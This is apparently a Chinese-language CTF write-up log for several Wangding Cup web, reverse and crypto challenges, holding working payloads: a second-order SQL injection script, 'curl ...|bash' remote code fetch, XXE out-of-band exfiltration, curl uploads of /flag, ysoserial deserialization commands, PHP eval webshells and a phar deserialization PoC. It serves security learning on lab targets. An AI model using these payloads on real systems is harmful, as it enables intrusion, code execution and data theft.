[网鼎杯2018]Unfinish 知识点: 二次注入
msyql字符串相加特性!
exp编写!
有一点要注意:mysql里字符串相加时 只加数字部分!
题目: 先去注册下:
完成可以看到页面!
可以猜测后端代码:
insert into xxx(email,name,pass) values($email,$name,$pass) select * from xxx where email=xxx and pass=xxx;
一般注册页面:
$registerSQL = "insert into users values(null, '$userName', '$password', '$sex', '$interests', '$myPictureName', '$remark')";
可以看到页面 upload是显示出来的! 所以我们可以像办法让数据回显出来!
用到一个知识点! 着mysql玩的6 的大佬就是强!
然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:
就是太长了不行!
用substr截取下:
insert into xxx(email,name,pass) values(email,''+database()+'',pass)
payload: 注意过滤了! 逗号!
insert into xxx(email,name,pass) values(email,''+database()+'',pass) 0'+substr((hex(hex(select/**/*/**/from/**/flag)))/**/from/**/1/**/for/**/10)+'0 '0'+substr((hex(hex((select/**/database()))))/**/from/**/1/**/for/**/10)+'0' 0'%2B(select hex(hex(database()))) 0'+(select hex(hex(database())))+'0 '+substr(hex(hex((select * from flag))) from "+str(i*3+1)+" for 3)+'
exp import requestsimport reimport timeurl = 'http://e656ecd2-e488-42a2-9f7c-b8c15e5e1ae7.node3.buuoj.cn/register.php' j = 1 for i in range(141 ,151 ): data = { 'email' : str(i)+'@qq.com' , 'username' : "0'+substr(hex(hex((select * from flag))) from " +str(j)+" for 15)+'0" , "password" : '1' } r = requests.post(url=url,data=data) if r.status_code == 429 : time.sleep(3 ) print (i) j = j + 15 print (j) break url2 = "http://e656ecd2-e488-42a2-9f7c-b8c15e5e1ae7.node3.buuoj.cn/login.php" str1 = '' for i in range(141 ,151 ): print ("{}:" .format(i) ) flag = str1 data = { "email" : str(i)+'@qq.com' , "password" : "1" } r = requests.post(url=url2, data=data, allow_redirects=True ) a = re.findall('.*</span>' , r.text)[0 ].replace('</span>' , '' ).replace(' ' , '' ) print (a) if r.status_code == 429 : print ('fast' ) time.sleep(3 ) str1 = str1 + a print (str1)
[网鼎杯 2020 白虎组]PicDown 一开始以为是ssrf
但是能够下载!
可以任意文件下载!
from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/') def index (): return render_template('search.html' ) @app.route('/page') def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager') def manager (): key = request.args.get("key" ) print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
python代码审计一些!
发现os.system(shell)
payload:
http://3795babe-56bb-4f54-97be-538a021d8b99.node3.buuoj.cn/no_one_know_the_manager?key=tkXnneQddaIO2zG7liO3rVLFHZgj1S9TQfS5R0oIWVc%3D&shell=curl%20http%3A%2F%2F0.0.0.0%2F1.txt%7Cbash
知识点: linux proc/pid/信息说明
/proc/pid/cmdline 包含了用于开始进程的命令 ; /proc/pid/cwd 包含了当前进程工作目录的一个链接 ; /proc/pid/environ 包含了可用进程环境变量的列表 ; /proc/pid/exe 包含了正在进程中运行的程序链接; /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接; /proc/pid/mem 包含了进程在内存中的内容; /proc/pid/stat 包含了进程的状态信息; /proc/pid/statm 包含了进程的内存使用信息。
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
读一下,用下面的paylaod:/page?url=../../../../proc/self/fd/3
,这里的/proc/self
也是一个链接文件,当进程访问此链接时,就会访问这个进程本身的/proc/pid目录
然后获得secret内容为zgySafkqtdMW5uvibbmE/DEe+aS1hhNbqRa+rqSaavY=
可以理解成访问/proc/pid/fd/
进程的 另一种方式!因为pid是不知道的!
最后我自己有想了想!对于linux内核的东西和进程不是很懂!
但是发现!
在/proc 文件系统中,每一个进程都有一个相应的文件 。下面是/proc 目录下的一些重要文件 : /proc/pid/cmdline 包含了用于开始进程的命令 ; /proc/pid/cwd 包含了当前进程工作目录的一个链接 ; /proc/pid/environ 包含了可用进程环境变量的列表 ; /proc/pid/exe 包含了正在进程中运行的程序链接; /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接; /proc/pid/mem 包含了进程在内存中的内容; /proc/pid/stat 包含了进程的状态信息; /proc/pid/statm 包含了进程的内存使用信息。
他说要通过/proc/pid/
可以访问进程信息!
但是pid
我们是不知道的!
所以我感觉linux就提供 另一种方式:
/proc/self
去访问进程!等同于/proc/pid
先这样理解把!知识越学越完善!😶
上面哪些操作都可以通过:/proc/self
访问 如下图:
[网鼎杯 2020 青龙组]boom 知识点: 简单的密码签到
int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char v5; char v6[50 ]; int v7; int v8; int v9; int v10; int v11; int v12; int v13; int v14; int v15; int v16; int v17; int v18; int v19; int v20; int v21; int v22; unsigned int v23; __int64 v24; int v25; int v26; int v27; int v28; int i; __main(); menu(); system("pause" ); system("cls" ); v7 = 70 ; v8 = 229 ; v9 = 239 ; v10 = 230 ; v11 = 22 ; v12 = 90 ; v13 = 90 ; v14 = 251 ; v15 = 54 ; v16 = 18 ; v17 = 23 ; v18 = 68 ; v19 = 106 ; v20 = 45 ; v21 = 189 ; v22 = 1 ; puts ("first:this string md5:46e5efe6165a5afb361217446a2dbd01" ); scanf ("%s" , &v5); MD5Init(&v23); v3 = strlen (&v5); MD5Update((int )&v23, &v5, v3); MD5Final(&v23, (unsigned __int8 *)v6); v28 = 1 ; for ( i = 0 ; i <= 15 ; ++i ) { if ( (unsigned __int8)v6[i] != *(&v7 + i) ) { v28 = 0 ; break ; } } if ( v28 != 1 ) { printf ("Game over" ); system("pause" ); exit (0 ); } puts ("Great next level" ); system("pause" ); system("cls" ); puts ("This time:Here are have some formulas" ); puts ("3x-y+z=185" ); puts ("2x+3y-z=321" ); puts ("x+y+z=173" ); printf ("input: x = " ); scanf ("%d" , &v27); printf ("input: y = " ); scanf ("%d" , &v26); printf ("input : z = " ); scanf ("%d" , &v25); if ( 3 * v27 - v26 + v25 != 185 || 2 * v27 + 3 * v26 - v25 != 321 || v26 + v27 + v25 != 173 ) { printf ("Game over" ); exit (0 ); } printf ("Great last level coming..." ); printf ("pause" ); system("cls" ); puts ("Last time: Kill it" ); puts ("x*x+x-7943722218936282=0" ); printf ("input x: " ); scanf ("%lld" , &v24); if ( v24 * (v24 + 1 ) != 7943722218936282L L ) { printf ("Game over" ); exit (0 ); } puts ("Great This is your FLAG" ); printf ("flag{%s_%d%d%d_%lld}" , &v5, v27, v26, v25, v24); return 0 ; }
数学运算就可以了!
md5在线加解密:https://www.cmd5.com 三元一次方程组计算器:http://www.99cankao.com/algebra/unknwn3.php 一元二次方程计算器:http://www.99cankao.com/algebra/quadratic-equation.php
[网鼎杯 2020 青龙组]you_raise_me_up 知识点: JAVA中&&和&、||和|(短路与和逻辑与、短路或和逻辑或)的区别
五日:
JAVA &&(短路与),&,|,||(短路或) 区别是&&只要第一个条件不满足,后面条件就不再判断。 &要对所有的条件都进行判断。 ||和|都是表示“或”。 区别是||只要满足第一个条件,后面的条件就不再判断。 |要对所有的条件进行判断。 &&逻辑与 ||逻辑或 它们都是逻辑运算符 & 按位与 | 按位或 它们都是位运算符
& 按位与 | 按位或 它们都是位运算符
他是位运算:
所以
太难太难了!
看的头炸了!
from Crypto.Util.number import *import randomn = 2 ** 512 m = 2 | 1 print (m)flag = 56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757 print (long_to_bytes(flag))
[网鼎杯 2020 青龙组]filejava 知识点: Apache-Poi-XXE-Analysis
apache poi 这个组件实际上在 java 应用中蛮常见的,这个组件主要用在 word 文档或者 excel 文件导入的业务场景下使用。众所周知,这些文档实际上也是一个类似压缩包一类的存在,。
就是apache poi 这个组件可以解析 xml!
filejava
哭了!复现不出了!
Apache-Poi-XXE-Analysis
妈的!这题复现真的操蛋!
poc <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://0.0.0.0:8111?popko=%file;'>">
注意 最后直接在里面修改! 不然会有问题! 坑死我了!
就是最后别动文件! 不要改xlsx文件后缀! 直接在压缩包里改.xml文件就可以了!
还有要注意的是 就是
字符串里xml代码%
要实体化一下!
坑死我了!😣😣
[网鼎杯 2020 青龙组]notes 知识点 JavaScript 原型链污染
test.a
or test['a']
对数组的元素进行访问
说一下自己看完原型链污染的感受!:
感觉和ssti有点亲切! 可能是__proto__和类的prototype
都要下划线! 都要早父类的原因把!
md,感觉这个比ssti简单! 就找父类就可以了! 利用父类的变量和方法!
如下图! 我记录一下现在的思路把! 怕以后忘🙄🙄🙄
看这里为什么数组里默认有值了!
因为:a.__proto__和a['prototype']
是一样的!就是早一下父类!
a.__proto__
是一个字典类型!
所以:
a['prototype']['dadad']
是可以提前设置的! 这样当子类没的化 ,可以用父类的! 如果重新的父类方法或变量!来搞破坏的化! 这就是原型链污染!
个人理解是这样! 大佬写的全!
所以最上面的图就是污染数组 原链了!
大佬里的一道题目测试一下:
在javascript中可以通过 test.a
or test['a']
对数组的元素进行访问
题目 var express = require ('express' );var path = require ('path' );const undefsafe = require ('undefsafe' );const { exec } = require ('child_process' );var app = express();class Notes { constructor () { this .owner = "whoknows" ; this .num = 0 ; this .note_list = {}; } write_note(author, raw_note) { this .note_list[(this .num++).toString()] = {"author" : author,"raw_note" :raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this .note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this .note_list, id + '.author' , author); undefsafe(this .note_list, id + '.raw_note' , raw); } get_all_notes() { return this .note_list; } remove_note(id) { delete this .note_list[id]; } } var notes = new Notes();notes.write_note("nobody" , "this is nobody's first note" ); app.set('views' , path.join(__dirname, 'views' )); app.set('view engine' , 'pug' ); app.use(express.json()); app.use(express.urlencoded({ extended : false })); app.use(express.static(path.join(__dirname, 'public' ))); app.get('/' , function (req, res, next ) { res.render('index' , { title : 'Notebook' }); }); app.route('/add_note' ) .get(function (req, res ) { res.render('mess' , {message : 'please use POST to add a note' }); }) .post(function (req, res ) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess' , {message : "add note sucess" }); } else { res.render('mess' , {message : "did not add note" }); } }) app.route('/edit_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to edit a note" }); }) .post(function (req, res ) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess' , {message : "edit note sucess" }); } else { res.render('mess' , {message : "edit note failed" }); } }) app.route('/delete_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to delete a note" }); }) .post(function (req, res ) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess' , {message : "delete done" }); } else { res.render('mess' , {message : "delete failed" }); } }) app.route('/notes' ) .get(function (req, res ) { let q = req.query.q; let a_note; if (typeof (q) === "undefined" ) { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note' , {list : a_note}); }) app.route('/status' ) .get(function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec(commands[index], {shell :'/bin/bash' }, (err, stdout, stderr ) => { if (err) { return ; } console .log(`stdout: ${stdout} ` ); }); } res.send('OK' ); res.end(); }) app.use(function (req, res, next ) { res.status(404 ).send('Sorry cant find that!' ); }); app.use(function (err, req, res, next ) { console .error(err.stack); res.status(500 ).send('Something broke!' ); }); const port = 8686 ;app.listen(port, () => console .log(`Example app listening at http://localhost:${port} ` ))
app.route('/status' ) .get(function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec(commands[index], {shell :'/bin/bash' }, (err, stdout, stderr ) => { if (err) { return ; } console .log(`stdout: ${stdout} ` ); }); } res.send('OK' ); res.end(); })
可以执行命令!
但是commands[index]
这要怎么搞!
https://skysec.top/2020/06/22/CVE-2019-10795-undefsafe-Prototype-Pollution-Vulnerability/
这有大佬复现cve的!
npm ls | grep undefsafe npm install undefsafe@2.0.2 npm uninstall undefsafe @2.0.3 npm update undefsafe @2.0.2 有时候要空格 有时候不要! 自己看help npm install -h
着个题是个cve! 大佬说文档里有: 我还是不会看文档 慢慢来吧!
for...in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf() 方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。
啥意思呢! 就是会触发他本身和父类一些属性!比如tostring
!
个人感觉是污染了 tostring! 触发漏洞!
原理还是难理解的! 但是要回复现!tnl 😫😫😫
这是咋发现的! molemole!
[网鼎杯 2020 半决赛]AliceWebsite 知识点: 文件包含!
<!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="utf-8" > <title>Wecome to Alice's Website!</title> <link href="./bootstrap/css/bootstrap.min.css" rel="stylesheet"> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Alice' s Website</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="index.php?action=home.php">Alice's Website</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li class="active"><a href="index.php?action=home.php">Home</a></li> <li><a href="index.php?action=about.php" >About</a></li> </ul> </div> </div> </nav> <div class="container" style="padding-top: 5%"> <?php $action = (isset ($_GET['action' ]) ? $_GET['action' ] : 'home.php' ); if (file_exists($action)) { include $action; } else { echo "File not found!" ; } ?> </div> </body> </html>
[网鼎杯 2020 玄武组]SSRFMe 知识点: ssrf
<?php function check_inner_ip ($url ) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' ,$url); if (!$match_result) { die ('url fomat error' ); } try { $url_parse=parse_url($url); } catch (Exception $e) { die ('url fomat error' ); return false ; } $hostname=$url_parse['host' ]; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0' )>>24 == $int_ip>>24 || ip2long('10.0.0.0' )>>24 == $int_ip>>24 || ip2long('172.16.0.0' )>>20 == $int_ip>>20 || ip2long('192.168.0.0' )>>16 == $int_ip>>16 ; } function safe_request_url ($url ) { if (check_inner_ip($url)) { echo $url.' is inner ip' ; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url' ]) { safe_request_url($result_info['redirect_url' ]); } curl_close($ch); var_dump($output); } } if (isset ($_GET['url' ])){ $url = $_GET['url' ]; if (!empty ($url)){ safe_request_url($url); } } else { highlight_file(__FILE__ ); } ?>
string (1342 ) " <?php if($_SERVER ['REMOTE_ADDR']===" 127.0 .0 .1 "){ highlight_file(__FILE__); } if(isset($_POST ['file'])){ file_put_contents($_POST ['file']," <?php echo 'redispass is root' ;exit ();".$_POST ['file']); } "
得到redis密码为root
[网鼎杯 2020 朱雀组]Think Java 这个题挺好玩的!
知识点: java反编译
swagger-ui.html 他是一个测试接口
jdbc注入
java反序列化
首先等他的ui界面!
看它的路由!
他的源码里 写的sql语句可以注入的!
咋注入呢?
JDBC 注入 jdbc连接数据库语句后面可以跟参数jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT
后跟无效参数也不会影响,所以可以
jdbc:mysql://localhost:3306/myapp?a=1' union select 1# jdbc:mysql://localhost:3306/myapp#' union select 1#
在url里 HTTP请求不包括#. #是用来指导浏览器动作的
就是#后是不请求的!
jdbc和htpp差不多!
就是 JDBC后面参数没用
#的化 和http一样 不会请求!
然后就是注入payload:
myapp?a=1' union select 1222222222# myapp?a=1' union select database()# myapp?a=1' union select group_concat(table_name) from information_schema.tables where table_schema='myapp' # user myapp?a=1' union select group_concat(column_name) from information_schema.columns where table_name="user" # id,name,pwd,Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,password_last_changed,password_lifetime,account_locked myapp?a=1' union select concat(name,pwd) from user # adminadmin@Rrrr_ctf_asde
jwt
"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu", Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
这里又一篇文章不错!:
还分不清 Cookie、Session、Token、JWT?
看到Bearer 应该就想到了jwt!
java反序列化 大佬的经验:
下方的特征可以作为序列化的标志参考: 一段数据以rO0AB
开头,你基本可以确定这串就是Java序列化base64加密的数据。 或者如果以aced
开头,那么他就是这一段Java序列化的16进制。
你把jwt提交后发现:操作成功!
说明这里可以执行反序列化操作!用工具操作一下:
大佬的总结:
即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。 java -jar ysoserial-master.jar ROME "calc.exe" > h3zh1.bin java -jar ysoserial-master.jar URLDNS "http://xxx" > h3zh1.bin
反弹shell不行! 但是可以curl外带数据!
curl http://0.0.0.0:8689 -F file=@/flag curl -d '@data.txt' https://google.com/login
[网鼎杯 2020 半决赛]faka 着个tp框架我是真的审计不了!
tnl了!
第一种上传webshell的方式没成功!
https://xz.aliyun.com/t/7838
tnl哭了
还是直接下载简单!
哭了!
小技巧:
在文件里搜一搜 download 还有 file 当你不回审计代码的时候!代码审计是真的难顶!
[网鼎杯 2020 总决赛]Novel 思路就是
<?php $_GET["password"]==="1"?print("1${eval($_POST{a})}"):exit(); {1${任意}} {1${phpinfo()}}
它可以上传一个txt文件!
public function backup ($filename, $dest ) { $filename='profile/' .$filename; if (file_exists($filename)){ $content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES); $password=$this ->random_code(); $r['path' ]=$this ->_write($dest, $this ->_create($password, $content)); $r['password' ]=$password; echo json_encode($r); } } private function _write ($dest, $content ) { $f1=$dest; $f2='private/' .$this ->random_code(10 ).".php" ; $stream_f1 = fopen($f1, 'w+' ); fwrite($stream_f1, $content); rewind($stream_f1); $f1_read=fread($stream_f1, 3000 ); preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s' , $f1_read, $matches); if (!empty ($matches[0 ])){ copy($f1,$f2); fclose($stream_f1); return $f2; }else { fwrite($stream_f1, '<?php exit(); ?>' ); fclose($stream_f1); return false ; } } private function _create ($password, $content ) { $_content='<?php $_GET["password"]==="' .$password.'"?print("' .$content.'"):exit(); ' ; return $_content; }
工具路由! 访问back/backup
提交$filename, $dest
参数
filename是上传的文件! desk任意就可以!
调用_write
方法!正则匹配成功! 就把copy($f1,$f2);
f1复制到f2 f2是php文件! 写shell就可以了!
[网鼎杯 2020 半决赛]BabyJS 就是通过 post 去执行get 的exec!
那字母构造呢?
不是很懂payload!
ssrf绕过
{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}
但是为什么要 http://a'a
这样我不是很知道
{"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}
这串解出来正好是一个单引号%EF%BC%87
[网鼎杯 2020 总决赛]Game Exp 知识点: phar反序列化!
不能少了 test.txt 不然类写不进去! 生成完phar后 看看里面的内容!看看有没有类!
https://xz.aliyun.com/search?keyword=phar
phar反序列化
据以上代码的测试可知,只要phar://协议解析文件的时候,就会造成序列化的问题,类似这样的函数不光有file_get_contents
还有其他函数;
有大牛曾经总结过,所有文件操作的函数都可以触发这种序列化:
fileatime
/ filectime
/ filemtime
stat
/ fileinode
/ fileowner
/ filegroup
/ fileperms
file
/ file_get_contents
/ readfile
/ `fopen``
file_exists
/ is_dir
/ is_executable
/ is_file
/ is_link
/ is_readable
/ is_writeable
/ is_writable
parse_ini_file
unlink
copy
还有大牛深入的分析过这些函数的原理,并且加以扩展:
exif_thumbnail
exif_imagetype
imageloadfont
imagecreatefrom***
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
get_meta_tags
get_headers
getimagesize
getimagesizefromstring
几乎所有和IO有关的函数都涉及到了
要注意一点:必须有test文件!
坑住我了!😶😶😶 没test文件也没类了!
我吐了!
poc <?php class AnyClass { var $output = 'system("cat /*");' ; function __destruct ( ) { eval ($this -> output); } } $phar = new Phar('a.phar' ); $phar -> stopBuffering(); $phar -> setStub('GIF89a' .'<?php __HALT_COMPILER();?>' ); $phar -> addFromString('test.txt' ,'test' ); $object = new AnyClass(); $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
<?php eval(system("dir"));?> 着是可以运行的! 但是题目环境少个逗号 就报错! 不让执行了!吐了!
会报错把! 有点小问题都不行!